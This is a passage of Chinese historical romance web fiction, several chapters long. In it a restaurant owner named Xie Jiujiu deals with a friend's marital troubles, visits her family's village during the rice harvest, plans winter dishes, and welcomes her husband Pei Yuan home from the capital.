谢九九不胖,相反只有裴元知道自己妻子衣衫下的腰肢有多纤瘦窈窕。 或许是从小就没有被爹娘拘在家里过,谢九九的身上的肉都结实得很,用黄娟的话说就是生气的时候打都懒得打她,仔细自己手疼。 不过饭庄里的饭菜再怎么还是比家里的舍得放油,哪怕谢九九整天在云客来忙得脚不沾地,之前平坦的小腹还是不知道什么时候就多了一层薄软的肉肉。 裴元出发去京城的前一夜,烛影摇红被翻红浪,谢九九被他折腾得够呛之余,也发现这人好似特别喜欢流连在自己腰腹之间。 微凉细腻指尖还因为常年拿笔磨出来一层薄茧的指腹,紧紧贴在自己小腹上顺着呼吸来回摩挲,差点没把谢九九给逼疯了。 就因为这个谢九九觉得都必须要想法子把潘掌柜找回来,他那大肚子不怕再圆滚滚一点儿,而自己宁愿每天饭点来回跑,也不能再这么吃下去了。 “倒是你,青松书院放假了?这才去了多久就又回来了。中秋的假早放完了,文济可都已经回去读书去了。” 心里存着那人,就什么事都能牵扯到那人身上。谢九九不愿再想裴元,甩甩头把那人从自己脑子里甩 出去,立马就岔开了话题反过头来追问黄金珠怎么又回来了。 “还不是你家那女婿实在难结交,罗永又嫌青松书院的学生太用功,他那一身本事使不出来,回来过个中秋天天有人上家去哄他出去吃饭喝酒,这不就更加不想去府城了。” 罗家的当铺赚钱,但罗家三代人的根都在县城,罗永当惯了地头蛇在容县如鱼得水的,突然换了个地方人家不吃他这个哥哥那个弟弟那一套,不适应也很正常。 “你家那位,总觉得读书人大多都是读书把脑筋读傻了读迂了的,还以为人人都能被他那张嘴哄了去,谁知这世上吃他那一套的人,数来数去好似也就一个你。” 谢九九跟裴元去过一次青松书院,就知道罗永那一套在青松书院十有八九吃不开。但这话不能外人说,非得罗永自己吃过闭门羹才行。 “去你的,明知道我听不得什么话还非要说这个来怄我,这就没意思了。” 过完中秋,岳州境内就陆陆续续又开始进入农忙时节。中秋前双喜回来一趟就说了,今年天冷得早,说不准会有早霜。九月初就要下田收稻,等晚稻收上来还要脱粒晒谷归仓,等把这些事忙完起码要半个月。 这半个月对于大部分家里有田的人来说都得累得脱层皮,青松书院的学生只要是请假条上写的是回去帮家里干农活,老师们没有不批的。 罗永睁眼说瞎话也写了这么一张假条,才能名正言顺拖着留在县城不回书院。 而谢九九和黄金珠这会儿能优哉游哉坐在云客来后院里说话聊天,也是因为码头上的劳力和县城里乡下有亲戚的人家都回去帮忙,云客来里生意一般,才有难得的空闲。 “你是不知道,罗永一进青松书院就去找了裴元。才知道人家压根不在前面读书,听他回来说你那夫婿已经是书院里先生收的入室弟子,跟普通的学生不一样。” 裴元吃住都在崔鹤儒的小院,早上起床跟着崔鹤儒一起吃过早饭,他送崔鹤儒出门去上课之后就都由着他自己安排了。 崔鹤儒的课讲什么他都提前知道,有时候留下来坐在最后一起听,有时候自己回来写崔鹤儒另外布置的功课。有时候给人代写墓志铭去了,人都不在。 罗永连着找了好几回都碰不上裴元,就觉得他是故意躲着自己,放假回山下刚买的农家院还忍不住跟黄金珠念叨。 说谢九九和裴元这对夫妻太奸心太高,那边谢九九答应黄金珠给裴元写信,这边裴元则避着自己不肯结交。 等转过头来黄金珠想要拿这事跟谢九九说,谢九九也能用她不清楚不知道来推脱。罗永就是心里再不高兴,难道还能自己问到谢九九脸上去不成。 “他那人心窄,我跟他说裴郎君或是不乐意跟他那样的人打交道,但你是不可能骗我的。这话他也不信,不过还好,还好那位关大人来得及时,关大人一来他那些牢骚话就全没了。” “行了啊,我还不知道你啊。” 要不说不是一家人不进一家门呢,黄金珠跟谢九九交好是真,今日借着罗永的牢骚话来给自己递话也是真。罗永想要结交裴元,已经急切得把黄金珠逼得只能厚着脸皮来找谢九九。 “我也给你交个实底,裴元中秋节前回来到他出发去京城那几天,他真的没提罗永找过的他的事。所以要说他是不是避着罗永,我也不知道。” 青松书院的学生,绝大部分都还是卯着劲要考科举入仕的,不到最后关头谁也不会认命说自己这辈子就这么着了。就连谢文济,在家颓了几天不也乖乖回书院读书去了。 罗永这个罗家当铺的少东家长袖善舞的手段在县城,哄那些在读书科举一道本就另存了心思的人有用,对青松书院那些人就没什么用了。 或者说他用得太早了,跟罗永差不多年纪的读书人,心里或多或少还志存高远眼界清高得很。 他得再等十来年,等到大部分人被一次又一次的落榜磨平了志气磨没了清高,到时候才是罗永吃香的时候。 “你今天既然来了,我就还给你一个准话。等他从京城回来,过年的时候你把罗永带来,咱们一起吃顿饭。” 一顿饭的机会,罗永能不能结下裴元这个人脉得看他的本事,自己不可能为了外人去逼裴元做他不愿意做的事。 毕竟黄金珠今天过来是为了她的丈夫,不管黄金珠心里有多少为难,她终究是把罗永划为了她的自己人,而谢九九自然也只把裴元划进自己的地盘里。 谢九九没有说出口的话黄金珠听懂了,她伸手紧紧握住谢九九的手,“我知你的心,我、我……” “只这一次,我同你保证就这么一次。只要我能哄住了他只留在我房里,我能比那个张氏先生下孩子,以后他成不成的我再不管了。” 黄金珠为了让罗永只留在她房里,已经是豁出脸面不要了。她未尝不知道自己一次又一次的找上谢九九,是在消耗两人之间的情分。 但她没有办法,嫁到罗家才知道嫁人之前婆母拉着自己的手说什么‘等日后你和永哥儿成了亲就是我们的亲女儿’这话是假的。 成了亲就是罗家的媳妇子,媳妇又怎么可能真的跟亲女儿一样。 自己的小姑子不用早上去公婆院子里请安,大姑子也不会因为嫁人之后好几年没生孩子被婆母往房里塞人。 张氏刚纳回来的时候,黄金珠也曾想过泼辣些把话顶回去,既这事这么好,为什么不把张氏送给你自己的亲女儿去。 或许是因为胆怯,又或者是什么她自己也弄不清楚的原因,这话她没有说出口。昨天.回娘家把这事一说,黄金珠的娘也一个劲儿的劝她忍一忍,等生了孩子就好了。 “我娘还说,让我大方些别跟一个妾计较。即便她比我先生下孩子也算不得什么大事,大不了把那孩子抱到我跟前养着,她一辈子都是姨娘,我才是母亲。” 这话听得黄金珠欲哭无泪,她说不出反驳的话来,她娘也没有留她在家里住下,而是催着家里的马夫去套车,趁着天色还没太晚把她送回婆家。 那一刻黄金珠才发现,婆家自己不高兴待,娘家不让自己待。 黄家金铺的大小姐,从小被如珠如宝养大的黄金珠,居然落得个处处不是家,处处留不下的境遇。 这话许是夸张了,毕竟黄金珠心里再难还是照样回了罗家。只不过昨晚罗永又装作无意间提起裴元和关家时,她没有再装作听不懂推脱,而是转过天就来找了谢九九。 白天黄金珠过来,他和罗永那点事说过也就过了。 谢九九不会也不至于为了旁人的家事给自己找不痛快,即便那个人是自己的好友,她不也还是想到了怎么辖制罗永的法子,哪怕那个法子还得用到自己。 但理智是理智,情绪却又是另外一种奇妙的东西。 一向沾枕头就能睡着的谢九九这一晚上做了不少光怪陆离的梦,梦里一下子是黄金珠一下子是裴元,等第二天清早醒来时脸都是肿的。 坐在床上看着春儿把铜盆铜壶拿进来,脸上的神情都呆滞得很。直到洗漱完了往后院去准备吃早饭,走到一半才啪一下停下脚步,“春儿,我们腾出两天时间,去鹿鸣村走走?” 第52章 第52章这世上还能不喜欢吃肉的…… 八月下旬,田间地头已经很忙碌了。 最会种田的老农天天都要下田掐谷验浆,在年轻人眼里每天都差不多的稻穗,老农粗粝的手掌一撮一掐,就能知道还要等多久才能开镰。 而其他人也不可能闲着,年轻一点的壮劳力都在家里和谷场忙活,镰刀要磨得薄而弯,木质的把手要是松了的得赶紧换新的。 装稻谷的木桶要检查是否开裂,要是是今年新换的木桶得再刷一层桐油防潮防漏。晒谷的谷场要提前整平,整平之后还要铺上一层干净的细沙,防止泥污混到谷子里去。 谷场对于农民来说很重要,有些人家做事马虎又懒,每次清理晒谷场的时候都觉 得差不多就行了。 等到真正要晒稻谷的时候,不是掺了泥沙进去,就是不平整的地方晒不干谷子,收到仓里去没多少日子就要发霉。等交粮交税的时候人家不收,又得重新翻晒返工。 谢九九带着春儿承平到鹿鸣村,路过晒谷场的时候远远地就听见有中年妇人骂人的声音,掀开车帘一看,果然几个光着膀子的少年郎,正吧不情不愿的在修整晒谷场。 “九九怎么这个时候来了,是不是家里有什么事。” “家里都好,就是天天围着云客来打转待烦了,干脆出来待几天。 这是陈妈妈做的酱菜酱肉,这是江妈妈做的两套衣裳,马车后面还有一坛子酸菜和今早买的半扇排骨。双喜哥,晚上弄口大锅把排骨炖了吧。” 抢收晚稻的时节光靠佃农肯定不够,还要趁早往家里请雇工。 这个时期的雇工有个专门的名字为‘稻客’,这些人大多都不是本地人,都是从更偏远更贫瘠的地方过来找活儿干的。 双喜现在管着谢家的田产,早在中秋节前就通过何奎提前定下一部分码头上的力工。中秋过后回来又挑选了一批稻客,现在人手不缺,只等着经验老道的佃户点头,就能开始干活了。 “这可好,晚上让大根他娘把排骨做了,再给你做个稻花鱼行不。” “行,再加一个芋头萝卜菜汤,拿米汤煮。这个菜慈姐做得最好吃,我都好久没吃了。” 慈姐是双喜的妻子,因为给双喜生了两个儿子大根和二根,身边的人大多叫她双喜家的或是大根他娘,只有谢九九第一次知道她娘家姓云,给她取名为云慈之后,就一直叫她慈姐。 这么好听的名字干嘛不叫,大根娘大根娘的,也不是不好,就是不如慈姐好听。 晚稻收割前,还要提前把田埂挖开排水,把第二批稻花鱼给捞出来养在塘里,从现在养到年前慢慢卖,也是一笔收益。 水排得差不多了,双喜得去忙活田里的事。谢九九的马车在田间小路上停了一小会儿,便继续往前走向着村里的私塾那边去。 马车停在老宅门口就进不去了,谢九九从马车上下来看见沈霁搬了一张躺椅一个小桌子,摆在院子里的香樟树下,手里拿着书翘着二郎腿,小桌上还摆着一壶茶一叠点心,那叫一个惬意哦。 “沈先生这日子过得可好啊。” “哟,东家来了啊。” 沈霁是个慢性子,刚认识他的人都觉得这人性子温吞又有些腼腆,是个面团儿。只有真正跟他相处久了才能发现他其实挺能说的,也不是个迂腐死板之人。 就好比谢九九和裴元的婚事,和这个私塾的东家是个女人的事。 当日沈霁接下鹿鸣村教书先生的差事,府城里的同窗好友知道之后,对于他要去乡下做个私塾先生倒是不反对,可再听说谢家办的私塾,出银子的都是谢九九这个女子,反而有几个人都露出一副不赞同的样子来。 在他们眼里,一个读书人怎么能给一个女人出钱办的私塾的教书,可沈霁反问一句有何不可,他们又说不出个所以然来。 这些事沈霁从未说过,但裴元知道以后又怎么可能瞒着谢九九。所以谢九九早就知道她现在的名声不怎么好,是一个既哄骗了裴元入赘又拿银子砸沈霁,离经叛道的妇人。 好在沈霁和他妻子于氏对此并不在意,听见前院这边的动静于氏也从后院过来,一看是谢九九来了原本还挂着薄怒的脸上立马露出几分笑模样。 “看看、看看,东家来了你还这么赖着。学生哄你说农忙不上课你就真的不上课,这才几天功夫就玩野了心,等忙过了这阵子,好不容易教会的那些怕是全都要还给你。” “娘子这话好没道理,农忙的时候要给学生放假,青松书院是这么做的,我们这个小私塾谢娘子也发了话,哪有不对。” 以前在府城的时候,沈家一家子老小都怕把沈霁逼得太急,这才由着他来鹿鸣村做个私塾先生。现在于氏又实在见不得他这般悠闲的样子,看着他闲得长毛就总忍不住挑一挑刺。 沈霁笑着起身进去搬椅子,搬完椅子又去后面拿了一套从府城带来的茶具,端了热茶和新的糕点来,“来来来,有什么话坐下说。” 于氏温柔,却也是个丁是丁卯是卯的性子。自从跟着沈霁住到村子里来,她就比沈霁这个先生还在意来私塾里的学生学得怎么样。 “我娘家也有田,一到农忙的时候不说田上的佃户,就是家里的长工和仆人也得去帮忙,他给学生放假我不是不答应。” 坐在树下秋风一吹,在马车里闷出来的汗和热气就都散尽了。沈霁泡的绿茶里还加了薄荷,秋天燥热喝点带着薄荷清凉的水,浑身都透着舒服。 “可这人也太不管事,这才学了多长时间,好几个年纪大的学生就说认字认得差不多不愿意学了,要去镇上县城找活儿干。” 私塾开张,确实有一批年纪大的学生就是奔着认字来的。把常用的字和基础的加减乘除学会,就能出去跟着师傅当学徒了。 这年月里给人当学徒是一件苦差事,不管学什么刚拜师的前三年就得把师傅当亲爹供养。别说任劳任怨做白工,晚上还得在师傅跟前伺候着,打水洗脚装烟起夜,什么不是当徒弟的干? 要是认字,这些活儿虽然照样要干,起码能少被人骗,亦或是学徒的时候在旁边看着也能多偷学一点。 总之读书认字的人不知道目不识丁的人到底有多胆怯,毫不夸张的说,村里大部分不识字的人就连去县城都得互相结伴,就是怕被骗。 “村里的学童年纪小的坐不住,每天都得塾长搬一张椅子坐在讲堂后面盯着,就这样还今天带个青蛙明天带个蚂蚱过来。” “这些学生要学成个模样,非得好几年不可。我和沈霁商量过,要是明年能考上秀才他或是得去府学苦读。要是还考不上,那就继续留在这里当个教书先生。” 再考不上,回府城沈霁又要面对无穷无尽的压力。不如继续留在村里,当不成官儿不要紧,别把人逼出个好歹来就行。 要真是这样,于氏便觉得沈霁这个做先生的就该有个做先生的样子,不说非要教出个秀才公,怎么也不能就这么由着他们混,学了几个字就心满意足,时间长了大家有样学样,这成何体统。 再说这个私塾是谢九九花了钱的,外面本就对她一个女子揽下谢家所有事多有闲言碎语,好像她留在家里招赘,是要霸占了本该全属于她弟弟的家产。 要是私塾办得这般不伦不类,那些读书人的嘴又岂能轻易放过她。 “于娘子别急,我知你是一片好心,要不是真心为我着想,你才不着这个急。” 只不过于氏还是忘了,整个鹿鸣村的人有一家算一家,没有一家的家底能跟她于家相比的。 人是什么出身就会自然而然站在什么位置看待问题,对于于氏来说粗浅的认字那就不是读书,会几句之乎者也这算得了什么,可这在鹿鸣村,就远不是那么一回事了。 鹿鸣村的人一年到头才能赚多少银子,哪怕是谢天佑和族爷他们家,说难听些也没见过什么世面,连想要霸占谢家的产业手段都做的那么粗疏,想要昧下谢家的钱都只能硬抢。 是他们不想做的神不知鬼不觉吗?当然不是,是他们根本不知道还有更高深的能侵占谢家财产的办法。 “吃不饱的人,只能想到要是我一年四季天天能吃饱就好了。能吃饱的人又会觉得光吃饭不够,一 个月怎么也得割几两肉尝尝味儿。 能天天吃肉的人家,才会觉得老吃肉腻歪,家里的厨子得天天琢磨,做一些不是肉但是比肉还要香的菜色,才能满足主家的要求。” 这这种‘要吃菜,但是要把菜做得比肉香,肉太腻了不好吃’的要求,对于鹿鸣村的人来说,不是傻子就是疯子,这世上还能不喜欢吃肉的人?! 所以沈霁做私塾先生教的大部分学生,注定认了字会算数就会果断选择出去谋生。 一年能多赚几两银子能不被别人骗,这就是他们觉得最好的日子了。至于什么考科举做秀才公,那是茶余饭后说来调侃自己的话,谁能把个笑话当真啊。 “那……”这个道理沈霁之前也说过,就是说得太文绉绉了于氏懂了却无法真正明白。 现在谢九九这么一说,她才也觉得自己这个爱吃菜比肉香的人,是不该拦着还吃不上肉的人,出去赚钱吃肉。 “那于娘子便不用再为此事焦心,沈郎君如今做的事对鹿鸣村这些识字的人来说,就流芳后世的好事。 没有沈先生现在教会他们认字,又怎么会有以后的千般可能。再过些年,等这村上的人都能吃上肉了,到时候先生赶他们走他们也不会走。” 谢九九这舌灿莲花好一顿夸,别说于氏,就是沈霁在一旁都听得脸红了。本来就是图个清闲躲一躲压力才来当的教书先生,怎么被谢家这大娘子一说,说得还真成了天大的好事了。 谢九九说话的时候脸上眼里全是一点不掺假的真诚,听得于氏脸都涨红了。 紧紧拉住她的手攥了攥便起身往后院去,看那架势今日是说什么都要把谢九九留下来,跟自己同吃同睡的。 “多谢谢娘子替我解围。” “只要以后于娘子不在这件事上念叨沈郎君就好了。” “诶,那谢娘子这可想错了。” 沈霁摆摆手,自己的妻子自己最清楚。道理她可懂了,谁见了都得说于氏温柔大方是个难得的好妻子。 可这道理懂了和她要不要念叨自己,这又是两码事。只不过这种事就不必说出来让外人知晓了,自己的妻子唠叨也是好的,她不唠叨沈霁反而不习惯。 第53章 第53章鱼汤泡饭 嘴上说着又要被唠叨,沈霁眼里却一点愁绪都见不着。 昨天的黄金珠今天的于氏和沈霁,两天两对夫妻,过的日子却是天渊之别。 明明裴元不在,谢九九却突然觉得这夫妻之道真有意思。昨天被莫名扰乱的心,也忽地安稳下来一点点。 白天地里都在忙,下午的时候谢九九还带着春儿去看双喜他们捞鱼。田里除了稻花鱼还有螺蛳、泥鳅,光是泥鳅双喜就捞了一大桶。 收割晚稻是苦差事,别看现在还没到干活的时候,作为主家每天起码都要招待一顿沾点荤腥的饭。 要是就因为没到干活的时候就一天三顿的吃稀的,等干活的时候稻客们也不会下死力给这主家干活。 “九九,这泥鳅我让大根娘先收拾,收拾好了你来掌勺。” “行,喜哥您受累再往镇上去一趟,今晚上有鱼有肉还有泥鳅,没酒怎么行。买些浊酒回来大家一起喝些,只别喝醉了就好。” 酒这个东西不便宜,村里就算谁家有也不可能存上多少。鹿角镇离鹿鸣村不远,赶驴车走一趟不算麻烦。 “好嘞,今天你一来大家都跟着享口福。” 一说能去买酒,双喜脸上颇有些与有荣焉的样子。从田里上来洗干净腿上脚上的泥,又转头去喊远处的儿子和一个被晒得黑亮黑亮的年轻人。 “爹!九九姐!你咋来了?” “又喊错了,是大娘子!” 谢九九喊双喜哥,大根喊谢九九姐,正儿八经是各论各的。 以前这么混喊着谁也不觉得有什么,还是裴元进门之后,听大根喊过两回,专门把这事拿出来私底下找双喜说了,双喜这才管着两个孩子改了口。 “嘿嘿,爹,我又忘了。”在乡下十一岁的男娃能当半个大人用,因为双喜是家里的长工,即便不是鹿鸣村的人,大根和二根平时也能去私塾读书。 以前大根机灵,可没读书到底不懂礼。现在跟着沈霁学了几个月,站在谢九九跟前也懂了几分眉眼高低。 之前双喜跟他说以后不能再叫九九姐要喊大娘子,他还觉得是新进门的姑爷忒的事多。现在心里明白了些,虽还是觉得读书人麻烦,却已经能理解姑爷心里在意的是什么。 “大娘子,镇上的酒坊新酿了一批金华酒,听说劲儿可足,今天咱们喝那个吧。” 镇上卖的浊酒大多都是自家酿造的醪糟酒,酒水里还掺着米粒不够清亮,每一批开坛酒劲儿也都说不准。 有时候劲儿小,寻常女人孩子也能喝上好几杯,有时候劲大不知不觉喝醉了,躺上一两天都不出奇。现在大根都听说这批金华酒劲儿大,谢九九又怎么敢让他们敞开了喝。 “眼下都忙,不准你们喝醉了误事。你就按着人头算,每人二两不许多了。等忙过了这一阵,我再从县里拉些好酒来犒劳你们。” “诶,都听大娘子的。” 大根认字认的还不错,算数却一直不大行。每人二两到底该买多少酒,他嘀嘀咕咕老半天也没算明白。 反而是一直站在大根身边的少年抹了抹脑袋上的汗,“行了别掰手指头了,我知道要买多少了。” 少年看上去比大根大个三四岁,谢九九不记得他的名字,但认识他是谁家的。他娘跟谢德昌是远房堂亲,这些年一直一个谢家做佃户,论亲戚谢九九是他的远房表姐。 “这么快就算出来了?” “嗯。” 少年脸上黑红黑红的,说不好是晒的还是害羞。他家穷是因为他娘身体不好,长年累月的吃药把家里都掏空了。 但一家子都是踏实实在的人,家里三代人把精力全撒在田里,没有时间也没有力气再去想想别的事情。直到村里多了一间不要钱的私塾,少年才看到了人生另外一种可能。 少年知道办私塾的银子都是眼前这个表姐出的,家里人闲时也会偶尔提及谢九九。 老实人家连八卦的闲话都不知道怎么说,说起谢九九他听得最多的话便是‘九九心眼好,跟她爹一样只要五成的租,其余田里的东西他们一概不要。’ 这些话听得多了,少年对谢九九这个表姐就有了一种奇妙的印象,本来讷言寡语的人又忍不住说了一句:“沈先生说我算数是学得最好的。今年过完,我也要去镇上县城里找活干。” “最好的啊。”有些事本来没想法,都是凑巧碰上了合适的人,才会觉得这么办也不错,“那等忙过这阵子,你还打算去私塾不。” “去。”少年重重点头,“多学一点是一点,以后出去少被人欺负。” “那你明年先来县城,我给你找个老账房做师父,认认真真学两年,学成了再来云客来做个账房可行啊。” 想要招个账房先生的事谢九九早在心里盘算过,只不过前几年被谢天佑几人恶心到了,谢九九对外人的防备心很重,一直犹豫着。 但有时候人与人之间就是讲究一个眼缘,虽然谢九九此刻还没能想起来少年的名字,哪怕少年在田间地头被晒到黑得连五官都要看不清了,可还是觉得这人自己应该能用。 谢九九要的是一上手就能把云客来的账目接过去的账房,少年想要赚这份钱还早得很。 但他听了这话还是高兴得不得了,本来就黑红的脸一下子就涨得更红了。连大根在一旁拍着他肩膀道喜他也只嘿嘿的笑,也说不出什么话来。 有酒有肉,下午看完他们捞鱼,谢九九干脆又邀于氏一起去慈姐做饭的棚子那边帮忙。 紧挨着自家的田埂旁边有几间屋子,就是专门给稻客们住的。每年两次前后一个来月,其余的时间佃户们也会用那个屋子放些杂物,或是田里晚上要忙的时候,就干脆住在小屋里。 屋子简单,里面该有的都有。挨着屋子旁的下风口就是临时搭建的草棚,草棚里砌上两口灶台两口锅,慈姐和佃户家的几个嫂子,就专门负责给下力的男人们烧水煮饭。 灶台旁边还有一个简易的架子,架子上正在煮饭。正经的农家饭,大米的香味被风吹散,还在田里捞螺蛳和小鱼的男人,也忍不住直起腰往这边看。 慈姐能干,又有谢九九在一旁帮忙。于氏在庖厨一道上不擅长,但她做事仔细有耐心,看着有些慢吞吞的其实做什么都很仔细到位,有她在一旁打下手,一顿饭傍晚时分就全做好了。 慈姐把谢九九和沈霁 一家子的份提前分出来,叫了两个儿子送回去,稻客这边有双喜夫妻支应着,谢九九看过人人都分到了酒,才转身跟于氏一起回去吃饭。 老宅的后院比县城的家里还要大,谢九九带着春儿承平和沈霁一家在院子里吃饭,桌子就摆在前院廊下。 外面不如屋里亮堂,但夜里的风吹过来,配上砂锅里煮着的稻花鱼和红烧排骨、酸菜炒肉沫,鱼香和肉香交织在一起,就是这秋日里最舒服的时候。 煮在鱼汤里的千层豆腐丝吸满了汤汁,除了鱼的鲜香还有豆香,养在稻田里的鱼本就比池塘里的更鲜嫩,配上淡淡的豆皮香,吃在嘴里一抿就化了。 鱼吃过大半,泥炉把鱼汤都煮得黏糊糊的,这个时候再用鱼汤泡饭,混合上都煮碎了的鱼肉,哎哟那个滋味真是给个银元宝,谢九九都不换。 在鹿鸣村住了三天,每天都是睡到自然醒,醒了先去找于氏问一问今日吃什么。 于氏身边的奶娘也是个手巧的,煮甜汤一绝。 谢九九早上一碗晚上一碗就没吃过重样的,作为一个开饭庄的老板,能有几天不用自己操心饭菜的事情,只需安心等着吃现成的,这滋味可太舒服了。 待了三天,本来说是还要再等几天才能开镰,却不想今年的天气实在冷得早。 早上还没起床,谢九九就觉得露在被子外的鼻尖有些凉意。翻个身看见披着厚披风从外面进来的春儿,整个人突然就蹭一下从床上跳起来。 “怎么这么冷,下雨了?!” “还没还没,不过村里的老人都说今年怕是要下早霜,今天就要开镰收稻了。” 谢九九站在窗户边往外看,确实外面还是晴天,就是吹来的风已经变凉了。“既然开镰了,我们也别老留在这里反而耽误他们的事。等会儿留些银子给双喜,今天开镰得杀猪杀鸡。” “之后每人每天供半斤米酒二两鱼,豆腐和腊肉至少隔天做一顿,米饭白米和糙米七三分,别不舍得放油。都是离乡背井来赚些钱,都不容易。” “知道了知道了,娘子就放心吧,咱们这么多年什么时候刻薄过稻客和佃户,也就前几年那几位主事,连稻客的饭钱都要抠搜。” “等会儿出去别说这话了,咱们大方自己的,不要说别人的事。” 谢天佑是抠,可再抠也有稻客给他家干活。村里人不是各个都像自家这样,有些不是故意要抠,而是就出得起那样的伙食。 这话被人听了去,知道的也就调侃一句谢九九大方,不知道的说不定就要记在心上,不觉得他们只是在不满谢天佑,而是觉得是谢家有钱瞧不上他们。 中午留在村里吃了一顿开镰饭,下午就回了县城。 马车往村口走,谢九九趴在车窗边看着金黄色的麦浪和在田间抢收的稻客农人们,说不清是什么滋味,但心里就是舒畅起来。 又是有饭吃有银子赚的一年,还有什么比这个更令人知足的呢。 第54章 第54章稻花鱼和米糠肠 去鹿鸣村住了三天,家里人人都以为谢九九是去看晚稻收割的情况,只有谢九九知道自己心里的情绪经历了什么样的变化。 裴元送关令仪去京城,她既舍不得丈夫又害怕他一去不回。即便嘴上和心里的道理一套一套的,可不安定的情绪又怎么可能那么轻易被道理说服,再不怕也不担心。 偏黄金珠又来凑热闹,都是新婚的夫妻,这才几年就把日子过得这般一言难尽,谢九九看了心里能不害怕吗? 好在去了鹿鸣村,村子里不如县城热闹,绝大部分人每天的日子过得都跟前一天差不多,日出而作日落而息。 田里有什么麻烦嘀咕抱怨两句,抱怨完了马上扛着锄头下田去弄。家禽猪牛要是病了,就得赶忙去请猪倌儿看看有什么法子能治。 家里孩子调皮了闯祸了,逮着了打一顿。逮不着也不用着急,等太阳落山臭小子回来吃饭一顿打总能补上。 就是村里的婶子嫂子们大多心软,见家里男人打孩子,下午还叉腰站在门口骂孩子的人,又要转过头来骂自己男人,什么大不了的事还非要把这顿打给续上。 三天时间不长,正好足够安抚谢九九那颗不安稳的心。她也说不出什么大道理来,可就是不那么患得患失的害怕了。 不再害怕的谢九九回到容县又恢复了往日的精气神,转过天来收拾好自己往云客来的柜台后头一站,又是容县最漂亮的女东家(九九自己心里封的)。 谢九九回来以后就把老韩和大头拉到厨房里研究冬季的特色菜。 老韩经验足,大头好学敢想敢干,再加上谢九九这个什么都肯试一试的东家,没几天就把秋冬季的特色菜给敲定下来。 整个岳州都爱吃鱼,容县自然也一样。谢九九回家以后还在念念不忘前几天吃到的鱼,冬季限定特色菜的主菜就定下是稻花鱼了。 稻花鱼在容县不少见,奇的是谢九九往鱼腹里塞满了糯米和腊肉。 腊肉的咸香和鱼肉的鲜香混合在一起,再被炖煮得软烂的糯米吸收满汤汁,味道好得家里连吃了三天,黄娟还想要继续吃。 大大的砂锅底下铺的配菜是酸菜和千层豆皮,砂锅底下放个泥炉慢慢煮着,最适合深秋初冬来吃。 容县明明在南方,冬天却也冷得出奇。而且这边的冷不似北方,谢九九曾听裴元说过,北方的雪下得大了能有半个人身那么高,门都能被堵住。 出不去就只能在家里猫冬,好在北方的冬天有火炕,隔山墙一侧是灶台另一边是火炕,两边想通灶台烧热了另一边的炕也就热了。 炕还连着烟囱,听说烟囱修得好的师傅,能让屋里的炕更热乎些,屋子里却一丝烟都没有。炕旁边再砌个小炉子,平日烧水热炊饼馒头,连厨房都不必去。 不过这些东西裴元也是从小听关令仪说的,关家官宦人家,据说他家的炕不用连着灶台,而是有专门的炕洞,每天都有专门的奴仆负责烧炕。 除了这些还有地龙火墙,那就更花钱也更暖和了。总之有火炕的北方,屋里其实比南方更舒服。反而是南方湿冷湿冷的,就得吃砂锅才能热乎。 但秋天已经出了一道鱼菜了,冬天还是鱼锅子,做得再好吃也难免腻歪。 好在晚稻收完这一年也基本接近尾声了,不管是种田的还是做工的,亦或是一年到头在外行商赚钱的人,也都陆陆续续往回走了。 赚了钱多多少少都要花,衣食住行,什么时候花在吃上的银钱都少不了。谢九九就顺势又推出了另一道特色菜,米糠肠炒冬笋。 洗干净的肥肠与提前炒香的米糠一起炒制,直到肥肠表皮焦黄,荤油肉香里混合着米糠的清香,才能把米糠肠捞出来。 捞出来的米糠肠清洗晾晒过后比新鲜肥肠能放,又没有腊肠那么干那么咸。 等到要吃的时候,先上锅蒸一刻钟,之后拿出来切成窄长的肥肠丝,和焯过水的冬笋一起炒,调料只用放茶油辣椒和大蒜,炒出来那叫一个干香鲜辣,一碗菜能下三碗饭! 这两道菜往外一推,云客来的生意就更好了。别人家的米糠肠大多都是放豆豉辣椒蒸,偏谢九九蒸完了还要再炒,等别家饭庄学着这么弄,客人早就被她这点小把戏先吸引去了云客来。 生意越来越好,县衙那些人反而不像以前光记账不给钱,几个司吏更是主动来店里把欠了好几年的老账都给结清了。 因为什么大家心里都有数,谁也没把这层窗户纸戳破,就是每次来吃饭都要不经意的问一句,裴郎君什么时候回来。 关家是大老虎,裴元是不知不觉扯着虎皮做大旗的狐狸,而谢九九则是沾了裴元这只狐狸的光,就是不知道这只狐狸到底什么时候能回来。 天气越冷,谢九九就忍不住算裴元还有多久能回来。手指头掰来算去的,从霜 降等到腊月,还有两天就是大雪才把人给等了回来。 冬至过后,何奎就给手底下的兄弟们都嘱咐过,要是在码头看见京城来的客船都机灵些,若是看见船上有裴郎君,就赶紧差人去云客来报信。 越临近过年谢九九就越心不在焉,秦娘子和饭庄里众人嘴上虽不问,但都知道她心里是真有些盼急了。 谁知裴元是骑马走官道从另一张城门进的城,马车还在后面直接往家里去了,他骑着马一路直奔云客来。 高头大马停在云客来门口动静大得吓人,谢九九以为又是回乡的客人,下意识从柜台后面绕出来迎一迎,一只脚都迈出门槛了才看清站在门口的是裴元。 “怎么骑马回来的?” “回来的时候水路和陆路换着走,这样快些。” 裴元身上穿的是谢九九出发前给他买的大氅,这会儿真是灰扑扑的。脸上也瘦了一大圈,下巴颏上的胡茬长出来一小截,看样子得有两三天没刮胡子了。 “不是走的官道,怎么不在驿站停一停。胡子都不刮,不难看啊。” “难看吗?” 裴元一听说难看,赶紧抬手去摸自己的下巴。胡茬又短又硬的有些扎手,看样子是不怎么好看。 “我怕路上下雪,又怕大雨阻了路,万一赶不及在过年前回来怎么办。” 裴元没说出口的是,他不光想回家过年,还想跟谢九九一起准备年货,腊八粥也想在家里吃,总之能早一天回来他就不想晚一天。 “走,回家去。” 有些话不说谢九九也懂了,一向把赚钱摆在第一位的谢大娘子今日难得扔下云客来和客人,牵着一下马就突然一下子变得疲惫虚弱的裴郎君回了家。 两人牵着马走到家的时候,马车还没到。 黄娟和芝娘看见裴元回来就已经喜得不行,芝娘连忙往自己屋里走,说是要拿钱给老吴叔出去买牛肉。黄娟也连声让陈妈妈赶紧去厨房烧锅热水,好让女婿把一身风尘仆仆洗净。 “娘您别忙,九九已经让承平在前院烧水,不着急。” 自己回来,晚上的饭菜肯定不能马虎了。陈妈妈又要备菜又要下厨还不够麻烦的,自己等会儿回前院怎么闹腾谢九九不行,没必要把一家子都弄得围着自己团团转。 “怎么回来得这么快,还有个把月才过年,没陪你娘在京城多住一住?” 女儿和女婿从进门起那手就没松开过,黄娟又不蠢,女婿一说不让她们忙黄娟立马就不插手了,而是转头问他这次出门的事。 “舅舅家高门大户,我住得不习惯。老想着家里心里不踏实,干脆就早些回来。” 